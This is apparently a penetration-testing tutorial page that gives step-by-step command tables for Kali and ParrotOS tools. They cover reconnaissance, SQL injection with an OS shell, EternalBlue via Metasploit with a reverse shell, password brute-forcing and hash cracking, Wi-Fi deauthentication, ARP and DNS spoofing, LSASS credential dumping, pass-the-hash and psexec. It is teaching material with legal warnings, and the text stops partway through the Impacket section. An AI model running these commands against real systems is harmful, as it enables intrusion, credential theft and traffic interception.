Penetration Testing Tools Reference: Kali Linux & ParrotOS — Secure In Security 2026
Secure In Security — Penetration Testing Tools Reference: Kali Linux & ParrotOS 2026
Penetration Testing Tools
Kali Linux  &  ParrotOS
⚠ Legal Disclaimer
All tools, techniques, and commands described in this document are intended exclusively for use on systems for which explicit written authorization has been obtained. Unauthorized penetration testing or hacking is illegal under the Computer Fraud and Abuse Act (CFAA), the UK Computer Misuse Act, and equivalent legislation worldwide. Always obtain written permission before conducting any security assessment.

Introduction

Penetration testing — or ethical hacking — is a structured, authorized simulation of real-world cyberattacks conducted to identify and remediate security vulnerabilities before malicious actors can exploit them. Two Linux distributions dominate the penetration testing landscape: Kali Linux and ParrotOS.

1.1  Kali Linux

Kali Linux, maintained by Offensive Security, is a Debian-based distribution purpose-built for penetration testing, digital forensics, and reverse engineering. Its rolling-release model ensures tools are continuously updated. The April 2026 release (Kali 2026.1) introduced LLM-driven command workflows alongside 600+ pre-installed security tools.

1.2  ParrotOS

ParrotOS (Parrot Security Edition), maintained by the Parrot Project, is a Debian-based distribution targeting penetration testers, digital forensics investigators, and privacy-conscious users. Compared to Kali, ParrotOS is lighter-weight, ships with additional anonymity tools (AnonSurf, Tor integration), and is well-suited for older hardware or resource-constrained environments.

1.3  Document Scope

This document covers the most widely used penetration testing tools across both platforms, organized by testing phase. For each tool, you will find a description, platform availability, installation instructions (where needed), and a complete set of step-by-step procedural commands.

Note — Virtual Machines
Both distributions are best run in a VM (VirtualBox, VMware) during learning. Isolate your testing environment from production networks. Always snapshot your VM before major tests.

Penetration Testing Methodology

A structured penetration test follows five phases recognized by PTES (Penetration Testing Execution Standard) and OWASP:

PhaseNameDescription
1ReconnaissancePassive and active information gathering about the target. No system interaction that could trigger alerts.
2Scanning & EnumerationActively probing the target with port scanners, banner grabbers, and vulnerability scanners to map attack surface.
3ExploitationLeveraging identified vulnerabilities to gain unauthorized access. Confirms exploitability and measures real-world risk.
4Post-ExploitationEscalating privileges, persisting access, moving laterally, and extracting sensitive data once inside the target.
5ReportingDocumenting all findings with severity ratings, evidence, and remediation recommendations for stakeholders.
Section 3  —  Reconnaissance & Information Gathering

Reconnaissance & Information Gathering Tools

Reconnaissance is the foundation of every penetration test. The tools in this section help testers map the target’s attack surface without (or before) direct interaction.

Nmap — Network Mapper

Tool
Nmap
Platform
Kali Linux / ParrotOS
Category
Recon / Scanning
Difficulty
Beginner

Nmap is the industry-standard open-source tool for network discovery and security auditing. It uses raw IP packets to determine active hosts, open ports, running services, service versions, operating systems, and more.

Installation

sudo apt update && sudo apt install nmap -y # Kali / ParrotOS

Step-by-Step Procedures

#ActionCommand / SyntaxNotes
1Basic Host Discoverynmap -sn 192.168.1.0/24Ping scan — lists live hosts without port scanning
2TCP SYN Scan (Stealth)sudo nmap -sS 192.168.1.100Half-open scan; requires root; less likely to be logged
3Service Version Detectionsudo nmap -sV 192.168.1.100Probes open ports to identify service names and versions
4OS Detectionsudo nmap -O 192.168.1.100TCP/IP stack fingerprinting to guess target OS
5Full Aggressive Scansudo nmap -A -T4 192.168.1.100OS, versions, scripts, traceroute — most comprehensive
6Scan Specific Port Rangenmap -p 1-1024 192.168.1.100Limits scan to ports 1 through 1024
7Scan Top 1000 UDP Portssudo nmap -sU –top-ports 1000 192.168.1.100UDP scanning is slow; use sparingly
8NSE Vulnerability Scriptsnmap –script vuln 192.168.1.100Runs built-in vulnerability detection scripts
9SMB Enumerationnmap –script smb-enum-shares,smb-enum-users -p 445 192.168.1.100Enumerates SMB shares and user accounts
10Save Output to Filenmap -oN output.txt -oX output.xml 192.168.1.100Saves results in normal and XML formats

Key Flags Reference

Flag / OptionDescription
-sSTCP SYN (stealth) scan — sends SYN, does not complete handshake
-sVProbe open ports to determine service/version info
-OEnable OS detection via TCP/IP fingerprinting
-AAggressive: enable OS detection, version detection, script scanning, traceroute
-T0 to -T5Timing template: T0=paranoid (slowest/stealthiest), T5=insane (fastest/noisiest)
-p-Scan all 65535 TCP ports
-PnSkip host discovery — treat all hosts as online (bypasses firewall blocking ICMP)
–scriptRun one or more NSE (Nmap Scripting Engine) scripts against target
-oN / -oX / -oGOutput formats: Normal text, XML, Grepable

theHarvester — OSINT Email & Domain Recon

Tool
theHarvester
Platform
Kali Linux / ParrotOS
Category
OSINT / Recon
Difficulty
Beginner

theHarvester is a passive reconnaissance tool that aggregates open-source intelligence (OSINT) from multiple public sources including search engines, DNS, PGP key servers, and SHODAN to gather email addresses, subdomains, IPs, and employee names associated with a domain.

Installation

sudo apt install theharvester -y

Step-by-Step Procedures

#ActionCommand / SyntaxNotes
1Basic Domain HarvesttheHarvester -d example.com -b googleQuery Google for emails/subdomains of example.com
2Multi-Source SearchtheHarvester -d example.com -b google,bing,yahoo,duckduckgoQuery multiple search engines simultaneously
3DNS Brute ForcetheHarvester -d example.com -b google -c-c enables DNS brute-force for subdomains
4Limit ResultstheHarvester -d example.com -b bing -l 300-l limits number of results returned
5Include Shodan IntegrationtheHarvester -d example.com -b shodan -k <API_KEY>Requires a Shodan API key
6Save to HTML/XMLtheHarvester -d example.com -b all -f harvest_outputCreates harvest_output.html and .xml report files
7Full Source SearchtheHarvester -d example.com -b allQueries all available sources (may be slow)

Recon-ng — Web Reconnaissance Framework

Tool
Recon-ng
Platform
Kali Linux / ParrotOS
Category
OSINT Framework
Difficulty
Intermediate

Recon-ng is a full-featured web reconnaissance framework written in Python. It provides an interactive console environment where modules can be loaded to harvest OSINT data from dozens of third-party APIs (Shodan, HaveIBeenPwned, VirusTotal, etc.). Results are stored in a local SQLite workspace database.

Step-by-Step Procedures

#ActionCommand / SyntaxNotes
1Launch recon-ngrecon-ngOpens the interactive console (similar to Metasploit)
2Create a workspaceworkspaces create target_corpIsolates data for each engagement
3Install modulesmarketplace install allDownloads all available modules from the marketplace
4Load a modulemodules load recon/domains-hosts/hackertargetLoads the hackertarget subdomain discovery module
5Set target domainoptions set SOURCE example.comSets the domain to investigate
6Run the modulerunExecutes the loaded module; results stored in DB
7View resultsshow hostsDisplays all discovered hosts in the workspace
8Export reportmodules load reporting/html options set FILENAME /tmp/recon_report.html runGenerates an HTML report from workspace data

Maltego — Link Analysis and OSINT Visualization

Tool
Maltego
Platform
Kali Linux / ParrotOS
Category
OSINT / Graph Analysis
Difficulty
Intermediate

Maltego is a graphical OSINT and link-analysis tool that visualizes relationships between people, organizations, websites, domains, IP addresses, and social media accounts. It uses ‘Transforms’ — API calls to third-party data sources — to expand nodes in an interactive graph.

Step-by-Step Procedures

#ActionCommand / SyntaxNotes
1Launch MaltegomaltegoOpens the GUI application; requires free registration
2Create a new graphFile > New Graph (Ctrl+T)Each graph represents one investigation
3Add a Domain entityDrag ‘Domain’ entity onto canvas Set value to ‘example.com’Entities are the starting nodes of an investigation
4Run DNS TransformsRight-click entity > Run Transform > ‘DNS from Domain — MX’Discovers mail servers for the domain
5Expand to IP addressesRight-click domain > ‘Resolve to IP’ > Run All TransformsEnumerates all A/CNAME records
6Discover subdomainsRight-click domain > ‘DomainToDNSNameScheme’Brute-forces common subdomain names
7Person/email pivotRight-click email entity > ‘Email to Person’Links email addresses to possible identities
8Export graphFile > Export Graph > PNG/PDFUsed for pentest report evidence
Section 4  —  Vulnerability Scanning

Vulnerability Scanning Tools

Nikto — Web Server Vulnerability Scanner

Tool
Nikto
Platform
Kali Linux / ParrotOS
Category
Web App Scanning
Difficulty
Beginner

Nikto is an open-source web server scanner that performs comprehensive tests against web servers, checking for over 6,700 potentially dangerous files/programs, outdated server versions, server configuration problems, and security misconfigurations.

Step-by-Step Procedures

#ActionCommand / SyntaxNotes
1Basic Scannikto -h http://192.168.1.100Scans web server on port 80
2Scan HTTPS Targetnikto -h https://192.168.1.100 -sslForces SSL/TLS scan
3Specify Portnikto -h 192.168.1.100 -p 8080Scan on non-standard port
4Scan with Authenticationnikto -h http://192.168.1.100 -id admin:passwordBasic auth credentials in user:pass format
5Scan via Proxynikto -h http://192.168.1.100 -useproxy http://127.0.0.1:8080Routes traffic through Burp Suite for logging
6Tune Output (hide non-vulns)nikto -h http://192.168.1.100 -Tuning xx = exclude info messages; show only vulnerabilities
7Save Outputnikto -h http://192.168.1.100 -o nikto_report.html -Format htmlSaves formatted HTML report
8Multiple Hosts from Filenikto -h targets.txttargets.txt: one host per line

OpenVAS / Greenbone — Network Vulnerability Scanner

Tool
OpenVAS / GVM
Platform
Kali Linux / ParrotOS
Category
Vulnerability Management
Difficulty
Intermediate

OpenVAS (Open Vulnerability Assessment System), now part of the Greenbone Vulnerability Management (GVM) suite, is a full-featured vulnerability scanner with a web-based interface. It maintains a regularly updated feed of over 80,000 Network Vulnerability Tests (NVTs).

Step-by-Step Procedures

#ActionCommand / SyntaxNotes
1Install GVMsudo apt install gvm -yInstalls the full Greenbone/OpenVAS suite
2Initialize GVMsudo gvm-setupDownloads NVT feeds; may take 15–30 min on first run
3Verify Setupsudo gvm-check-setupConfirms all services are running correctly
4Start GVM Servicessudo gvm-startStarts ospd-openvas, gvmd, and gsad services
5Access Web InterfaceBrowser: https://127.0.0.1:9392Default credentials set during gvm-setup
6Create Scan TargetScans > Targets > New Target Name: Lab-Target Hosts: 192.168.1.100Define what will be scanned
7Create Scan TaskScans > Tasks > New Task Scan Config: Full and Fast Target: Lab-Target‘Full and Fast’ is recommended for most tests
8Launch ScanClick ‘Start’ (play button) on the taskProgress shown as percentage in task list
9Review ResultsScans > Reports > Select Report Filter by Severity: High, CriticalCVE IDs and CVSS scores displayed per finding
10Export ReportReport > Download > PDF/XML/CSVUse PDF for executive reports, XML for tool import

Lynis — Linux System Auditing Tool

Tool
Lynis
Platform
Kali Linux / ParrotOS
Category
Host Hardening Audit
Difficulty
Beginner

Lynis is an open-source security auditing tool designed for Unix/Linux systems. Unlike network scanners, Lynis audits the local host: checking file permissions, installed packages, authentication configuration, kernel parameters, and compliance against CIS benchmarks.

Step-by-Step Procedures

#ActionCommand / SyntaxNotes
1Install Lynissudo apt install lynis -yAvailable in default repos on both platforms
2Full System Auditsudo lynis audit systemRuns all security tests; takes 3–10 min
3Non-interactive Modesudo lynis audit system –quickSkips prompts; good for automated runs
4Test Specific Categorysudo lynis audit system –tests-from-group firewallOnly runs firewall-related checks
5View Reportcat /var/log/lynis-report.datMachine-readable report for post-processing
6View Logcat /var/log/lynis.logHuman-readable detailed log of all tests
7Pentest Profile Modesudo lynis audit system –profile /etc/lynis/default.prfUse custom profile for targeted compliance checks
Section 5  —  Exploitation Frameworks

Exploitation Tools

Metasploit Framework — Exploitation Platform

Tool
Metasploit Framework
Platform
Kali Linux / ParrotOS
Category
Exploitation Framework
Difficulty
Intermediate

Metasploit is the world’s most widely used penetration testing framework. It provides an extensive library of exploits, payloads, auxiliary modules, and post-exploitation tools within a unified console interface (msfconsole). Its modular architecture allows testers to quickly combine exploit code with payloads to compromise target systems.

Core Workflow — Exploiting a Vulnerable Service

#ActionCommand / SyntaxNotes
1Start Metasploit ConsolemsfconsoleOpens the MSF interactive shell; startup takes ~20s
2Search for an Exploitsearch eternalblue search type:exploit name:smbSearches module library by keyword, type, or name
3Load Exploit Moduleuse exploit/windows/smb/ms17_010_eternalblueSelects the EternalBlue SMB exploit (MS17-010)
4View Required Optionsshow optionsLists REQUIRED and optional configuration parameters
5Set Target Hostset RHOSTS 192.168.1.105RHOSTS = remote/target host IP or range
6Set Local Hostset LHOST 192.168.1.10LHOST = your machine’s IP (for reverse shell)
7Select Payloadset PAYLOAD windows/x64/meterpreter/reverse_tcpMeterpreter = advanced in-memory payload
8Run the Exploitexploit (or run)Launches the exploit; successful = Meterpreter session
9Meterpreter — System InfosysinfoDisplays OS, hostname, architecture of compromised host
10Meterpreter — ShellshellDrops into a native OS command shell
11Meterpreter — ScreenshotscreenshotCaptures screenshot from target desktop
12Meterpreter — Download Filedownload C:\\Users\\Admin\\secret.txt /tmp/Exfiltrates a file to attacker machine
13Privilege EscalationgetsystemAttempts automatic privilege escalation to SYSTEM
14Dump Password HasheshashdumpExtracts SAM database password hashes
15Background Sessionbackground sessions -l sessions -i 1Background and resume sessions; -i resumes session 1

Auxiliary Module — Port Scanning with Metasploit

#ActionCommand / SyntaxNotes
1Load TCP Scanneruse auxiliary/scanner/portscan/tcpMetasploit’s built-in TCP port scanner
2Set target rangeset RHOSTS 192.168.1.0/24 set PORTS 21,22,23,80,443,445,3389Scan entire subnet for specific ports
3Run scannerrunResults stored in msfdb and displayed in console
Warning
Run Metasploit only on systems you own or have explicit written authorization to test. EternalBlue exploits against live systems without authorization is a federal crime.

SQLMap — Automated SQL Injection

Tool
SQLMap
Platform
Kali Linux / ParrotOS
Category
Web App / SQL Injection
Difficulty
Intermediate

SQLMap is an open-source tool that automates the detection and exploitation of SQL injection flaws in web applications. It supports all major database engines (MySQL, MSSQL, PostgreSQL, Oracle, SQLite, etc.) and can extract databases, tables, credentials, and execute OS commands through the injection point.

Step-by-Step Procedures

#ActionCommand / SyntaxNotes
1Detect SQL Injection in URLsqlmap -u “http://target.com/page?id=1”Tests the ‘id’ parameter for SQLi vulnerability
2List All Databasessqlmap -u “http://target.com/page?id=1” –dbsEnumerates accessible database names
3List Tables in DBsqlmap -u “http://target.com/page?id=1” -D webapp –tablesLists all tables in the ‘webapp’ database
4Dump Table Contentssqlmap -u “http://target.com/page?id=1” -D webapp -T users –dumpExtracts all rows from the ‘users’ table
5Specify Injection Techniquesqlmap -u “http://target.com/page?id=1” –technique=BEUSTB=Boolean, E=Error, U=Union, S=Stacked, T=Time
6Test POST Requestsqlmap -u “http://target.com/login” –data=”user=admin&pass=test” -p user-p specifies which parameter to test; –data for POST
7Use Intercepted Requestsqlmap -r request.txtrequest.txt: raw HTTP request saved from Burp Suite
8Bypass WAF with Tampersqlmap -u “http://target.com/?id=1” –tamper=space2commentTamper scripts obfuscate payloads to bypass WAFs
9OS Command Executionsqlmap -u “http://target.com/?id=1” –os-shellAttempts to spawn interactive OS shell via SQL injection
10Set Risk and Levelsqlmap -u “http://target.com/?id=1” –level=5 –risk=3Higher levels = more tests; risk 3 = destructive tests (use with care)
Section 6  —  Password Attacks

Password Attack Tools

Hashcat — GPU-Accelerated Password Cracker

Tool
Hashcat
Platform
Kali Linux / ParrotOS
Category
Password Cracking
Difficulty
Intermediate

Hashcat is the world’s fastest password recovery utility. It leverages GPU parallelism to crack hashed passwords using dictionary attacks, brute-force, rule-based, and hybrid attacks. It supports over 350 hash types including MD5, SHA-1, SHA-256, NTLM, bcrypt, WPA-PMKID, and more.

Step-by-Step Procedures

#ActionCommand / SyntaxNotes
1Identify Hash Typehashcat –identify hash.txt — OR — hashid -m ‘5f4dcc3b5aa765d61d8327deb882cf99’Always confirm hash type before cracking
2Dictionary Attack (MD5)hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt-m 0 = MD5; -a 0 = dictionary; rockyou.txt = wordlist
3NTLM Hash Crackhashcat -m 1000 -a 0 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt-m 1000 = NTLM; common in Windows AD environments
4WPA2 WiFi Handshakehashcat -m 2500 -a 0 handshake.hccapx /usr/share/wordlists/rockyou.txt-m 2500 = WPA-EAPOL; requires captured 4-way handshake
5Brute-Force Attackhashcat -m 0 -a 3 hash.txt ?u?l?l?l?d?d?d?d?u=uppercase, ?l=lowercase, ?d=digit; masks define charset
6Rule-Based Attackhashcat -m 0 -a 0 hash.txt rockyou.txt -r /usr/share/hashcat/rules/best64.ruleApplies mutation rules to each wordlist entry
7Show Cracked Passwordshashcat -m 0 hashes.txt –showDisplays previously cracked passwords from potfile
8Resume Interrupted Sessionhashcat –session mysession –restoreSessions can be saved and resumed later

Common Hash Mode Reference (-m values)

Flag / OptionDescription
-m 0MD5
-m 100SHA-1
-m 1400SHA-256
-m 1000NTLM (Windows passwords)
-m 1800SHA-512 crypt (Linux /etc/shadow)
-m 3200bcrypt (web application passwords)
-m 2500WPA/WPA2 EAPOL (Wi-Fi handshake)
-m 13100Kerberos TGS-REP (Kerberoasting)

Hydra — Online Password Brute-Forcer

Tool
Hydra
Platform
Kali Linux / ParrotOS
Category
Online Password Attack
Difficulty
Beginner

Hydra is a fast, parallelized online login cracker supporting over 50 protocols including FTP, SSH, Telnet, HTTP, HTTPS, SMB, LDAP, SMTP, MySQL, and RDP. It performs dictionary or brute-force attacks against live authentication services.

Step-by-Step Procedures

#ActionCommand / SyntaxNotes
1SSH Brute-Forcehydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100-l = single username; -P = password list file
2SSH with User Listhydra -L users.txt -P passwords.txt ssh://192.168.1.100-L = username list; -P = password list
3FTP Brute-Forcehydra -l ftp_user -P rockyou.txt ftp://192.168.1.100Standard FTP login brute-force
4HTTP POST Formhydra -l admin -P rockyou.txt 192.168.1.100 http-post-form “/login:user=^USER^&pass=^PASS^:Invalid credentials”Replace field names and failure string for target form
5RDP Brute-Forcehydra -l Administrator -P rockyou.txt rdp://192.168.1.105Targets Windows Remote Desktop Protocol
6Set Parallel Taskshydra -l admin -P rockyou.txt -t 16 ssh://192.168.1.100-t = threads per target; default is 16
7Add Delay Between Attemptshydra -l admin -P rockyou.txt -w 3 ssh://192.168.1.100-w = wait time in seconds (avoids lockout)
8Save Valid Credentialshydra -l admin -P rockyou.txt -o creds.txt ssh://192.168.1.100-o saves found credentials to file

John the Ripper — Password Hash Cracker

Tool
John the Ripper
Platform
Kali Linux / ParrotOS
Category
Password Cracking
Difficulty
Beginner

John the Ripper (JtR) is a versatile, CPU-based password cracker designed for offline hash cracking and Linux /etc/shadow files. The community ‘Jumbo’ edition supports over 400 hash types and includes specialized tools (ssh2john, zip2john, etc.) to extract hashes from file formats.

Step-by-Step Procedures

#ActionCommand / SyntaxNotes
1Crack /etc/shadow (Linux)sudo unshadow /etc/passwd /etc/shadow > combined.txt john combined.txtunshadow merges passwd and shadow for John to process
2Dictionary Attackjohn –wordlist=/usr/share/wordlists/rockyou.txt hashes.txtStandard wordlist-based crack
3Crack SSH Private Keyssh2john id_rsa > id_rsa_hash.txt john id_rsa_hash.txt –wordlist=rockyou.txtssh2john extracts crackable hash from passphrase-protected key
4Crack ZIP Archive Passwordzip2john protected.zip > zip_hash.txt john zip_hash.txt –wordlist=rockyou.txtzip2john extracts hash from encrypted ZIP file
5Show Cracked Passwordsjohn –show hashes.txtDisplays cracked passwords from session
6Specify Hash Formatjohn –format=NT hashes.txt –wordlist=rockyou.txtExplicitly specify hash type if auto-detect fails
7Apply Mangling Rulesjohn hashes.txt –wordlist=rockyou.txt –rules=JumboJumbo rule set applies extensive word mutations
Section 7  —  Web Application Penetration Testing

Web Application Testing Tools

Burp Suite Community Edition — Web App Proxy

Tool
Burp Suite
Platform
Kali Linux / ParrotOS
Category
Web App / Proxy
Difficulty
Intermediate

Burp Suite is the industry-standard toolkit for web application security testing. Its intercepting proxy sits between the browser and target web server, enabling testers to inspect, modify, and replay HTTP/S requests. Key modules include Proxy, Repeater, Intruder, Scanner, Decoder, and Sequencer.

Step-by-Step Procedures — Core Workflow

#ActionCommand / SyntaxNotes
1Launch Burp SuiteburpsuiteOpens Burp Suite GUI; choose Temporary Project
2Configure Browser ProxyBrowser > Settings > Manual Proxy: HTTP Proxy: 127.0.0.1 Port: 8080All HTTP/S traffic now routes through Burp
3Install Burp CA CertificateBrowser: navigate to http://burpsuite Download CA Cert > Import into Browser Trust StoreRequired to intercept HTTPS without cert errors
4Enable InterceptProxy tab > Intercept > ‘Intercept is on’Burp will hold each request until forwarded/dropped
5Browse the Target AppNavigate target app in browserAll requests appear in HTTP History for review
6Send Request to RepeaterHTTP History > Right-click request > ‘Send to Repeater’Repeater lets you modify and replay individual requests
7Modify and Replay RequestRepeater tab > Edit params in request panel > ‘Send’Used to manually test for SQLi, XSS, auth bypass, etc.
8Send to Intruder (Fuzzing)Right-click request > ‘Send to Intruder’ Intruder > Positions > Highlight param > ‘Add §’Intruder automates fuzzing a parameter with a payload list
9Run Intruder AttackIntruder > Payloads > Load wordlist file Attack > Start AttackResults show status codes; look for 200 vs 401/302
10Decode/Encode DataDecoder tab > Paste value > Select encoding type > Decode/EncodeSupports Base64, URL, HTML, Hex, Gzip encodings

OWASP ZAP — Open-Source Web App Scanner

Tool
OWASP ZAP
Platform
Kali Linux / ParrotOS
Category
Web App Scanner / Proxy
Difficulty
Beginner

OWASP ZAP (Zed Attack Proxy) is a free, open-source web application security scanner. Unlike Burp Suite Community, ZAP includes a built-in automated scanner and is scriptable via Python/JavaScript for CI/CD pipeline integration.

Step-by-Step Procedures

#ActionCommand / SyntaxNotes
1Launch ZAPzaproxyOpens ZAP GUI; select ‘Automated Scan’ for quick start
2Spider the TargetQuick Start > URL to attack: http://target.com > AttackSpider crawls all links; Active Scan probes for vulnerabilities
3Manual Proxy BrowseSet browser proxy: 127.0.0.1:8080 Browse target appZAP captures all requests in Sites tree
4Active Scan a NodeSites tree > Right-click target > Attack > Active ScanAutomated scanning of the target with probe requests
5View AlertsAlerts tab > Filter by Risk: High/MediumZAP categorizes findings by risk level with CWE references
6Forced Browse (DirBuster)Tools > Forced Browse Site Select fuzz list > StartDiscovers hidden paths and files on web server
7Generate HTML ReportReport > Generate HTML Report > SaveIncludes all alerts, descriptions, and solution guidance
8Run in CLI Mode (CI/CD)zap.sh -cmd -quickurl http://target.com -quickprogress -quickout report.htmlHeadless automated scan for DevSecOps pipelines

Dirb & Gobuster — Web Content Discovery

Tool
Dirb / Gobuster
Platform
Kali Linux / ParrotOS
Category
Web Enumeration
Difficulty
Beginner

Dirb and Gobuster are wordlist-based web content scanners that brute-force URIs (directories and files) on a web server to discover hidden content such as admin panels, backup files, configuration files, and API endpoints not linked from the main site.

Dirb Procedures

#ActionCommand / SyntaxNotes
1Basic Directory Scandirb http://192.168.1.100/Uses default wordlist (/usr/share/dirb/wordlists/common.txt)
2Custom Wordlistdirb http://192.168.1.100/ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txtLarger lists find more but take longer
3Scan Specific Extensionsdirb http://192.168.1.100/ -X .php,.txt,.bak,.confAppends extensions to each wordlist entry
4Save Outputdirb http://192.168.1.100/ -o dirb_output.txtSaves discovered URLs to file

Gobuster Procedures (Faster Alternative)

#ActionCommand / SyntaxNotes
1Install Gobustersudo apt install gobuster -yPre-installed on most Kali/Parrot versions
2Directory Brute-Forcegobuster dir -u http://192.168.1.100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt‘dir’ mode; -u = URL; -w = wordlist
3With File Extensionsgobuster dir -u http://192.168.1.100 -w common.txt -x php,html,txt,bak-x appends comma-separated extensions
4DNS Subdomain Fuzzinggobuster dns -d example.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt‘dns’ mode discovers subdomains; requires SecLists
5Virtual Host Fuzzinggobuster vhost -u http://example.com -w subdomains.txt‘vhost’ mode brute-forces virtual host names
6Set Threads and Timeoutgobuster dir -u http://target.com -w wordlist.txt -t 50 –timeout 15s-t = threads (default 10); higher = faster but noisier
Section 8  —  Wireless Network Attacks

Wireless Attack Tools

Legal Note
Wireless testing requires written authorization from the owner of the access point being tested. Unauthorized interception of wireless communications is illegal under the Electronic Communications Privacy Act and equivalent laws worldwide.

Aircrack-ng Suite — Wi-Fi Security Auditing

Tool
Aircrack-ng
Platform
Kali Linux / ParrotOS
Category
Wireless Security
Difficulty
Intermediate

The Aircrack-ng suite is a complete set of tools for 802.11 wireless network auditing. It includes: airmon-ng (enable monitor mode), airodump-ng (capture packets), aireplay-ng (inject packets and deauthenticate clients), and aircrack-ng (crack WEP/WPA-PSK keys from captured handshakes).

WPA2 4-Way Handshake Capture & Crack Procedure

#ActionCommand / SyntaxNotes
1Identify Wireless Interfaceiwconfig — OR — ip link showNote your interface name (e.g., wlan0)
2Kill Interfering Processessudo airmon-ng check killStops NetworkManager and wpa_supplicant
3Enable Monitor Modesudo airmon-ng start wlan0Creates monitor interface (wlan0mon)
4Scan for Networkssudo airodump-ng wlan0monLists all visible APs with BSSID, channel, SSID
5Target Specific APsudo airodump-ng -c 6 –bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon-c = channel; –bssid = AP MAC; -w = output file prefix
6Deauthenticate Clientsudo aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon-0 5 = send 5 deauth frames; forces client to re-authenticate
7Verify Handshake Captured— Look for ‘WPA handshake’ message in airodump-ng output —Handshake captured in capture-01.cap file
8Crack with Aircrack-ngaircrack-ng -w /usr/share/wordlists/rockyou.txt -b AA:BB:CC:DD:EE:FF capture-01.cap-w = wordlist; -b = AP BSSID
9Crack with Hashcat (GPU)hcxpcapngtool capture-01.cap -o handshake.hc22000 hashcat -m 22000 handshake.hc22000 rockyou.txtConvert to hashcat format first for GPU acceleration
10Restore Interfacesudo airmon-ng stop wlan0mon sudo systemctl start NetworkManagerReturns interface to managed mode after testing
Section 9  —  Network Sniffing & Man-in-the-Middle Attacks

Network Sniffing & MITM Tools

Wireshark — Packet Analyzer

Tool
Wireshark
Platform
Kali Linux / ParrotOS
Category
Network Analysis
Difficulty
Beginner

Wireshark is the world’s foremost network protocol analyzer. It captures packets in real time from network interfaces and displays them with deep protocol dissection. Used for analyzing network traffic, detecting anomalies, capturing credentials on unencrypted protocols (FTP, Telnet, HTTP), and troubleshooting network issues.

Step-by-Step Procedures

#ActionCommand / SyntaxNotes
1Launch Wiresharkwireshark — OR (CLI) — tshark -i eth0GUI version; tshark is the CLI equivalent
2Start Packet CaptureGUI: Double-click network interface (e.g., eth0)Live packets begin streaming immediately
3Capture to Filetshark -i eth0 -w capture.pcapSaves packets to PCAP file for offline analysis
4Filter by ProtocolFilter bar: http — OR — Filter bar: tcp.port == 443Display filter (not capture filter); applied post-capture
5Follow TCP StreamRight-click packet > ‘Follow’ > ‘TCP Stream’Reconstructs full TCP conversation in readable format
6Filter HTTP Credentialshttp.request.method == POSTShows POST requests; inspect body for cleartext passwords
7Extract Files from CaptureFile > Export Objects > HTTP Select files to exportReconstructs files (images, executables) from HTTP traffic
8Capture Only Specific Hosttshark -i eth0 -f “host 192.168.1.100” -w target.pcap-f = BPF capture filter (applied before capture)
9Analyze with tsharktshark -r capture.pcap -Y ‘ftp contains password’ -T fields -e ftp.request.argExtract FTP password field from saved capture

Bettercap — Network MITM Framework

Tool
Bettercap
Platform
Kali Linux / ParrotOS
Category
MITM / Network Attack
Difficulty
Advanced

Bettercap is a powerful, extensible man-in-the-middle framework for network reconnaissance, ARP/DNS/HTTPS spoofing, credential sniffing, and BLE/Wi-Fi attacks. It replaces the older Ettercap tool with a modular, script-driven architecture and a built-in web UI.

Step-by-Step Procedures

#ActionCommand / SyntaxNotes
1Install Bettercapsudo apt install bettercap -y sudo bettercap -eval “caplets.update; ui.update; q”Updates caplets and web UI on first run
2Launch Bettercapsudo bettercap -iface eth0Specify your active network interface
3Discover Network Hostsnet.probe on net.showProbes network; net.show lists all discovered hosts
4Enable ARP Spoofingset arp.spoof.targets 192.168.1.50 arp.spoof onPoisons ARP cache; victim’s traffic routes through attacker
5Enable IP Forwardingset net.sniff.verbose true net.sniff onWithout IP forwarding, victim loses internet connectivity
6Sniff Credentialsnet.sniff onCaptures credentials from HTTP, FTP, Telnet, POP3, IMAP, etc.
7DNS Spoofingset dns.spoof.domains evil.com set dns.spoof.address 192.168.1.10 dns.spoof onRedirects DNS lookups for evil.com to attacker’s IP
8HTTPS Downgrade (SSLstrip)set https.proxy.sslstrip true https.proxy onDowngrades HTTPS to HTTP where HSTS is not enforced
9Launch Web UIsudo bettercap -caplet http-ui — Browser: http://127.0.0.1 —Interactive web-based control panel for bettercap
Section 10  —  Post-Exploitation

Post-Exploitation Tools

Mimikatz / Pypykatz — Credential Extraction

Tool
Mimikatz / Pypykatz
Platform
Kali Linux (Pypykatz)
Category
Post-Exploitation / Creds
Difficulty
Advanced

Mimikatz is a Windows-based post-exploitation tool that extracts plaintext passwords, NTLM hashes, Kerberos tickets, and other credentials from Windows memory (LSASS process). Pypykatz is a Python reimplementation that can be run directly from Kali/ParrotOS to parse LSASS dump files offline.

Step-by-Step Procedures — Pypykatz (from Kali/Parrot)

#ActionCommand / SyntaxNotes
1Install Pypykatzpip3 install pypykatzPure Python; no Windows required
2Dump LSASS via Meterpreter# In Meterpreter session: pidof lsass shell tasklist /FI “IMAGENAME eq lsass.exe” — Note the PID (e.g., 596) —Must have SYSTEM-level privileges in Meterpreter session
3Create LSASS Minidump# In Meterpreter: procmem dump -p 596 -o lsass.dmpDumps LSASS process memory to file
4Download Dump File# In Meterpreter: download lsass.dmp /tmp/lsass.dmpTransfers dump file to Kali/Parrot machine
5Parse with Pypykatzpypykatz lsa minidump /tmp/lsass.dmpExtracts credentials from offline LSASS dump
6Extract NTLM Hashes Onlypypykatz lsa minidump lsass.dmp -o output.json cat output.json | grep -A2 ‘NT:’Filter for NT (NTLM) hashes for pass-the-hash attacks
7Pass-the-Hash with CrackMapExeccrackmapexec smb 192.168.1.0/24 -u Administrator -H <NTLM_HASH>Use extracted NTLM hash to authenticate without cracking

Impacket — Windows Protocol Attack Suite

Tool
Impacket
Platform
Kali Linux / ParrotOS
Category
Post-Exploitation / AD
Difficulty
Advanced

Impacket is a collection of Python classes and tools for working with Windows network protocols (SMB, MSRPC, NTLM, Kerberos, LDAP). It is essential for Active Directory penetration testing, providing tools for remote code execution, Kerberoasting, AS-REP roasting, and DCSync attacks.

Step-by-Step Procedures

#ActionCommand / SyntaxNotes
1Install Impacketsudo apt install python3-impacket impacket-scripts -yInstalls all Impacket scripts to /usr/share/doc/python3-impacket/examples/
2Remote Code Execution (psexec)impacket-psexec domain/Administrator:Password@192.168.1.100Spawns SYSTEM shell on Windows target via SMB
